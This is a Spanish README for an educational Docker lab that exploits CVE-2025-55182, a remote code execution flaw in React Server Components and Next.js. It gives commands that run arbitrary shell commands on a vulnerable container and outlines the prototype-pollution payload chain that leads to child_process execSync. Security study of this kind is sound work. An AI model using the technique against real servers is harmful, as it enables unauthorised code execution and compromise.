## https://sploitus.com/exploit?id=C0CD9459-496B-58A3-B98B-B3C9696DC362
# R2SHELL
> [!WARNING]
> Este proyecto es **SOLO PARA PROPÓSITOS EDUCATIVOS** y debe usarse únicamente en entornos controlados. En este proyecto limitamos el uso del exploit para las redes internas del entorno virtualizado de Docker y red local.
## Descripción
CVE-2025-55182 es una vulnerabilidad crítica de **Remote Code Execution (RCE)** en React Server Components que afecta a:
- `react-server-dom-parcel` (19.0, 19.1.0, 19.1.1, 19.2.0)
- `react-server-dom-webpack` (19.0, 19.1.0, 19.1.1, 19.2.0)
- `react-server-dom-turbopack` (19.0, 19.1.0, 19.1.1, 19.2.0)
- **Next.js** 15.x, 16.x y canary releases 14.3.0+
**CVSS Score**: 10.0/10 (Crítico)
### Requisitos
- Docker & Docker Compose
- Python 3.11+ (solo si ejecutas fuera de Docker)
### 1. Levantar el entorno
```bash
docker-compose up -d --build
```
### 2. Verificar que la app esté corriendo
Abre tu navegador en [http://localhost:3000](http://localhost:3000)
### 3. Ejecutar el exploit
#### Verificar vulnerabilidad
```bash
docker-compose run --rm exploit -t "http://nextjs-vulnerable:3000"
```
#### Ejecutar comandos en el payload
```bash
# Listar archivos
docker-compose run --rm exploit -t "http://nextjs-vulnerable:3000" -c "ls -la"
```
### 4. Ver resultados
La salida del comando se ejecuta en el servidor. Para ver los resultados:
```bash
docker logs nextjs-vulnerable --follow
```
Y deberías ver en la consola de la aplicación web vulnerada un output en el servidor.
Los reportes también se guardan en `./reportes/`
## Cómo Funciona
La vulnerabilidad explota una **server-side prototype pollution** en React Server Components:
1. El payload utiliza referencias especiales (`$@0`, `$1:__proto__:then`)
2. Poluciona el prototipo de objetos JavaScript
3. Accede a `Array.constructor.constructor` → `Function()`
4. Ejecuta código arbitrario usando `process.mainModule.require('child_process').execSync()`
Te recomiendo leer estos artículos de Datadog y Wiz.io que explican a profundidad y detalle cómo funciona el payload.
- https://www.wiz.io/blog/nextjs-cve-2025-55182-react2shell-deep-dive
- https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/